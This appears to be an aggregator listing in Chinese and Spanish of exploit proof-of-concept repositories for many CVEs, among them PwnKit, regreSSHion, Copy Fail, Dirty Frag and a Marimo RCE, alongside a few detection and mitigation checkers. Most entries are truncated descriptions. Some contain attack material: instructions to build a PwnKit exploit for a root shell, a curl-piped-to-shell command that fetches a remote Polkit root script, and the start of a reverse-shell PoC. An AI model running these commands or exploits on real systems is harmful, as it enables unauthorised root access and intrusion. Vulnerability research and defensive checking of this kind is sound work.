CVE-2024-6387_PoC

摘要 这本质上是一个统计性漏洞：需要大量尝试才能赢得竞态条件并成功执行任意代码。攻击者需要克服许多障碍，Schwartz 告诉 SecurityWeek。“即使在最佳情况下，最著名的漏洞也需要超过 4 小时才能利用。” 在 OpenSSH 9.8 的发布说明中，开发人员指出该漏洞仅在基于 glibc 的 32 位 Linux 系统上得到确认，OpenBSD 不受影响。 环境搭建 环境使用 Docker 搭建。 1. 编写 Dockerfile root@kitploit: 1.1. 编写 Dockerfile FROM i386/ubuntu:20.04 ENV...

POC-CVE-2021-4034

CVE-2021-4034 虽然该漏洞无法远程利用，且其本身不允许任意代码执行，但攻击者一旦在易受攻击的主机上获得立足点，便可利用它来提升权限并实现该能力。 https://seclists.org/oss-sec/2022/q1/80https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 PoC 已在 Debian 10 和...

Copy-Fail_Detect_and_mitigate_CVE-2026-31431

Copy Fail - CVE-2026-31431 检测与缓解工具 检测是否暴露于 CVE-2026-31431（Copy Fail） ，并可选地在受影响系统上通过禁用 algifaead 内核模块来应用主机级缓解措施。 本仓库提供的内容 copyfail-check.sh — 检查内核补丁状态、运行时模块暴露情况及缓解状态。 通过 --mitigate 提供可选的自动缓解功能。 人类可读的判定输出：NOT AFFECTED、PATCHED、NOT EXPLOITABLE、MITIGATED、MITIGATED REBOOT PENDING 或 AFFECTED。 漏洞摘要 2017...

CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞利用程序 只需执行 make、./cve-2021-4034，即可获得 root shell。 来自我的 Qualys 团队的原始公告在这里 PoC 如果漏洞利用成功，你将立即获得 root shell： root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

berdav-CVE-2021-4034

CVE-2021-4034 polkit 权限提升漏洞的一日利用 只需执行 make、./cve-2021-4034，即可享受 root shell。 原作者发布的官方公告在这里 PoC 如果利用成功，你将立即获得 root shell： root@kitploit: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT//...

CVE-2026-25769---CVE-2026-25770

CVE-2026-25769 / CVE-2026-25770 – Wazuh 集群漏洞 警告：本仓库包含与安全漏洞相关的信息和代码。请仅用于教育目的或在授权环境中使用。 描述 在 Wazuh 集群配置（版本 ≥ 4.0.0）中发现了两个严重漏洞。这些缺陷影响使用多节点进行水平扩展、负载均衡和高可用性的部署。该配置允许管理多个代理而不会影响 Wazuh 服务器。 CVE-2026-25769 允许通过 DAPi 请求在主节点（master）和工作节点（worker）之间进行通信。工作节点使用 LocalClient 模块发送对象；主节点接受该消息并使用易受攻击的函数...

Dirty-Frag-Kubernetes-PoC

Dirty Frag CVE-2026-43284 — PoC de Escape de Contenedor en Kubernetes Una prueba de concepto que demuestra cómo un Pod de Kubernetes predeterminado y sin privilegios puede lograr ejecución de código a nivel de nodo en Amazon EKS explotando la vulnerabilidad de corrupción de caché de páginas del...

CVE-2026-39842

CVE-2026-39842：OpenRemote 规则引擎中的表达式注入远程代码执行漏洞 摘要 OpenRemote 规则引擎中存在严重的远程代码执行漏洞，允许拥有 write:rules 角色的已认证用户在服务器上以 root 权限执行任意代码。 CVSS 评分 ：10.0（严重） CVSS 向量 ：CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 受影响版本 ：OpenRemote = 1.22.0 是否需要认证 ：是（write:rules 角色，可为非超级用户） 利用方式 ：以 root...

CVE-2026-6042-PoC

CVE-2026-6042：musl libc iconv 中的算法复杂度拒绝服务（DoS） musl 的 iconv GB18030 4字节解码器中的间隙跳过循环（gap-skipping loops）允许少量精心构造的输入消耗不成比例的CPU时间。一个40 KB的对抗性载荷可以使单个CPU核心满载运行超过40分钟。 安全公告 ：https://www.openwall.com/lists/oss-security/2026/04/09/19 NVD ：https://nvd.nist.gov/vuln/detail/CVE-2026-6042...

badblood

Bad Blood Bad Blood 是针对 CVE-2021-20038 的一个漏洞利用程序，该漏洞是使用固件版本 10.2.1.x 的 SMA-100 系列系统中 httpd 二进制文件内的一个基于栈的缓冲区溢出漏洞。我在这里写了很多技术细节： AttackerKB CVE-2021-20038 该漏洞利用程序（按当前编写方式）会在端口 1270 上打开一个 telnet 绑定 shell。连接到该 shell 的攻击者将以 nobody 身份执行操作。 示例输出 albinolobster@ubuntu:/badblood$ date Mon Jan 10 01:15:12 PM...

CVE-2026-68398

CVE-2026-68398：Ubuntu PPPoL2TP 释放后使用导致本地提权 本仓库包含针对 CVE-2026-68398 的特定构建版本本地权限提升利用。该漏洞是 PPPoL2TP 接收处理与未附加 PPP 通道销毁之间的一场释放后使用（use-after-free）竞态。它已在 QEMU 中针对官方 Ubuntu 22.04 软件包 linux-image-5.15.0-187-generic（5.15.0-187.197）完成验证。 最终测试以专用 UID 1001 用户身份启动，该用户没有附加组、没有 capabilities、也没有 sudo...

codeql-sample-polkit

-- coding: utf-8 - - polkit pkexec 漏洞 概述 本仓库使用 CodeQL 研究 polkit pkexec 漏洞。 包含 构建数据库的说明 构建好的数据库 一系列用于演示如何发现该漏洞的查询 已完成事项： polkit 源码 / 数据库构建 针对易受攻击源码的 codeql 查询 CFG 图示 待办事项： 增强 codeql 查询以同时处理已修补的源码 命令行说明 漏洞详情 Polkit pkexec 漏洞...

copy-fail-CVE-2026-31431

Copy Fail - CVE-2026-31431 Copy Fail（CVE-2026-31431）PoC 与 payload 示例。 Technical Writeup: https://xint.io/blog/copy-fail-linux-distributions 受影响的 Linux 发行版 Distro| Kernel Version ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023| 6.18.8-9.213.amzn2023 RHEL 10.1| 6.12.0-124.45.1.el101 SUS...

dirty-frag-check

Dirty Frag 检查（CVE-2026-43284 / CVE-2026-43500） 针对“Dirty Frag”Linux 内核本地提权漏洞的只读检查器 （CVE-2026-43284、 CVE-2026-43500）。 检查内核版本、模块状态、KernelCare livepatch 以及您添加的任何 modprobe 黑名单。不运行漏洞利用代码。 配套工具：CVE-2026-31431-check。 注意：这是启发式检查。绿色结论并不代表绝对安全。在判定主机安全之前， 请与您所用发行版的安全公告交叉核对。MIT 许可，不提供任何担保。 快速运行 root@kitploit:...

CVE-2021-3560

CVE-2021-3560 Exploit de root instantáneo de Polkit Puedes ejecutar un comando para obtener root en sistemas vulnerables a Polkit CVE-2021-3560 escribiendo: sh -c "$curl -sSL https://raw.githubusercontent.com/n3onhacks/CVE-2021-3560/main/polkit.sh" O puedes descargar el .sh o copiarlo y pegarlo...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8（严重）Jenzabar ICS + MoxieManager 可能存在 RCE proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS 影响 受影响组件 CVE-2026-30-03 9.8（严重） 可能存在 RCE Jenzabar ICS + MoxieManager Jenzabar ICS 系统所使用的 MoxieManager...

CVE-2021-4034_POC

CVE-2021-4034 - 概念验证 此 POC 利用 GLib 的gprinterr，通过注入GCONVPATH环境变量来实现代码执行。 运行漏洞利用 将漏洞利用程序打包为 tarball 文件： root@kitploit: make tar 然后将生成的 tar 文件传输到目标机器，编译并运行漏洞： root@kitploit: make ./poc 该漏洞利用程序将尝试以 root 身份执行 /bin/sh。 延伸阅读 此漏洞利用所依据的博客文章 一篇帮助更好理解攻击背后理论的文章...

CVE-2021-42342

CVE-2021-42342 CVE-2021-42342 RCE POC1:just prints root@kitploit: include include include include static void beforemainvoid attributeconstructor; static void beforemainvoid write1, "Hello World!\n", 14; POC2: reverse shell root@kitploit: include include include include char serverip=""; uint32t...

marimo_CVE-2026-39987_RCE_PoC

CVE-2026-39987 - Marimo 此脚本仅用于教育目的和授权测试。 未经明确许可，将此工具用于针对系统的未授权使用是违法的。 作者不对滥用此信息的行为承担任何责任。 📋 描述 Marimo 0.23.0 之前的版本存在一个严重的无需预先认证的远程代码执行（RCE）漏洞。/terminal/ws 端点未实施适当的访问控制，允许未认证的攻击者获得系统的完整交互式 shell。 详情| 信息 ---|--- CVE| CVE-2026-39987 严重性| 严重 CVSS 评分| 9.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA...

POC-CopyEscape-CVE-2026-17106

CopyEscape — CVE-2026-17106 的 PoC 关于 CopyEscape （CVE-2026-17106）的教育性概念验证（PoC），这是 docker cp 中的一个 TOCTOU 竞态条件漏洞，允许恶意容器在 Docker 主机上写入任意文件。灵感来自 masasron 的原创研究，他在博客 "CopyEscape: Taking Over Docker Hosts with docker cp" 中发现了该漏洞并进行了记录。 目录 1. 执行摘要 2. 法律声明 3. 攻击链架构 4. 环境要求 5. 仓库结构 6. 快速使用指南 7. 漏洞利用验证 8...